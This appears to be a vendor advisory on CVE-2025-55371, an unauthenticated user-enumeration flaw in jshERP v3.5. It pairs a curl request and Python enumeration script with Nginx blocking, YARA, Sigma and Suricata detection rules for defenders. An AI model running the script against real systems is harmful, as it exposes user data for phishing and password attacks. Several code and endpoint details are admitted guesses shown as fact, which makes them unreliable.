CVE-2025-55371

Executive Summary

CVE-2025-55371 discloses an Incorrect Access Control vulnerability in jshERP v3.5, specifically within the /controller/PersonController.java component. An unauthenticated attacker can exploit the getAllList method to retrieve all handler (user) information, including potentially sensitive data such as usernames, roles, and contact details. This flaw stems from missing authorization checks on the API endpoint, allowing any remote attacker to enumerate valid users without authentication. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the description, it likely scores high in confidentiality impact. No public exploit code or patch is currently available.

Supply Chain & Package Security

jshERP is an open-source ERP system written in Java. The vulnerability resides in the core application code, not in a third-party package. However, organizations using jshERP should verify they are not running v3.5 or any version with the vulnerable PersonController.java. Since no official patch exists, supply chain risk is elevated—users must rely on custom mitigations or vendor updates.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): High (H) – Exposes all handler information.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Estimated Base Score: 7.5 (High) – Due to high confidentiality impact and no authentication requirement.

Threat Level: High. The vulnerability allows mass enumeration of user accounts, which can be leveraged for targeted phishing, credential stuffing, or further exploitation.

Deep Dive & Mechanics

The vulnerability exists in the getAllList method of PersonController.java. This method is mapped to a RESTful endpoint (likely /person/getAllList or similar). The controller fails to enforce any authorization checks (e.g., Spring Security annotations, role-based access control, or session validation). As a result, any HTTP request to this endpoint—even without a valid session token—returns a list of all Person entities from the database.

The Person entity typically stores user information such as:

• id (internal identifier)
• username (login name)
• realName (display name)
• email
• phone
• role (e.g., admin, manager, user)
• status (active/inactive)

An attacker can craft a simple GET request to the endpoint and parse the JSON response to extract all user data. This information can then be used to:

• Identify high-privilege accounts (e.g., admin users).
• Launch brute-force or password spraying attacks.
• Perform social engineering with known usernames and roles.

The root cause is a missing @PreAuthorize or @Secured annotation on the controller method, or a misconfigured security filter chain that does not protect this specific endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (jshERP v3.5):

@RestController
@RequestMapping("/person")
public class PersonController {

    @GetMapping("/getAllList")
    public ResponseEntity<List<Person>> getAllList() {
        List<Person> persons = personService.findAll();
        return ResponseEntity.ok(persons);
    }
}

No security annotations or authentication checks are present.

Patched Code (Hypothetical Fix):

@RestController
@RequestMapping("/person")
public class PersonController {

    @GetMapping("/getAllList")
    @PreAuthorize("hasRole('ADMIN')")  // or hasAuthority('PERSON_READ')
    public ResponseEntity<List<Person>> getAllList() {
        List<Person> persons = personService.findAll();
        return ResponseEntity.ok(persons);
    }
}

The @PreAuthorize annotation ensures only authenticated users with the ADMIN role can access this endpoint.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Reconnaissance: Identify jshERP instances using Shodan dorks or manual scanning.
2. Endpoint Discovery: Send a GET request to /person/getAllList (or similar path).
3. Data Extraction: Parse the JSON response to extract all user records.

Example cURL command:

curl -X GET http://target-ip:port/person/getAllList

Expected Response (JSON):

[
  {
    "id": 1,
    "username": "admin",
    "realName": "Administrator",
    "email": "admin@example.com",
    "phone": "1234567890",
    "role": "admin",
    "status": "active"
  },
  {
    "id": 2,
    "username": "user1",
    "realName": "User One",
    "email": "user1@example.com",
    "phone": "0987654321",
    "role": "user",
    "status": "active"
  }
]

Automation Script (Python):

import requests
import json

target = "http://target-ip:port"
endpoint = "/person/getAllList"
response = requests.get(target + endpoint)
if response.status_code == 200:
    users = response.json()
    for user in users:
        print(f"Username: {user['username']}, Role: {user['role']}")
else:
    print("Endpoint not accessible or protected.")

Blue Team (Detection & Hardening)

1. Immediate Mitigation: Restrict access to the /person/getAllList endpoint via a reverse proxy (e.g., Nginx, Apache) or Web Application Firewall (WAF) rule.
2. Code Fix: Add authentication and authorization checks to the controller method (see patched code above).
3. Monitoring: Alert on any unauthenticated requests to /person/getAllList or similar endpoints.
4. Log Review: Check access logs for repeated requests to this endpoint from unknown IPs.

Nginx Blocking Rule:

location /person/getAllList {
    deny all;
    return 403;
}

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /person/getAllList from external IPs.
  • Response bodies containing JSON arrays with username, role, email fields.
• File IOCs:
  • Log entries showing GET /person/getAllList with HTTP 200 status.
• Behavioral IOCs:
  • Multiple rapid requests to the same endpoint from a single IP (user enumeration).
  • Subsequent login attempts using extracted usernames.

Detection Engineering

YARA Rule

rule jshERP_UserEnumeration {
    meta:
        description = "Detects jshERP user enumeration via getAllList endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55371"
    strings:
        $endpoint = "/person/getAllList"
        $json_pattern = /"username":\s*"[^"]+"/
    condition:
        $endpoint and $json_pattern
}

Sigma Rule

title: jshERP User Enumeration via getAllList
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated access to jshERP's getAllList endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55371
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: GET
        c-uri|contains: '/person/getAllList'
    condition: selection
falsepositives:
    - Legitimate admin access (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"jshERP User Enumeration - getAllList"; flow:to_server; http.method; content:"GET"; http.uri; content:"/person/getAllList"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:
   • Block external access to /person/getAllList using a WAF or reverse proxy.
   • If possible, disable the endpoint entirely until a patch is applied.
2. Code-Level Fix:
   • Add Spring Security annotations (@PreAuthorize, @Secured) to the vulnerable method.
   • Implement role-based access control (RBAC) for all sensitive endpoints.
3. Network-Level Hardening:
   • Place jshERP behind a VPN or internal network only.
   • Use network segmentation to limit exposure.
4. Monitoring & Alerting:
   • Deploy the Sigma/Suricata rules above to detect exploitation attempts.
   • Review access logs for suspicious patterns.
5. Vendor Communication:
   • Contact jshERP maintainers for an official patch.
   • Monitor the project's GitHub repository for updates.

Valters IT
Securing Digital Frontiers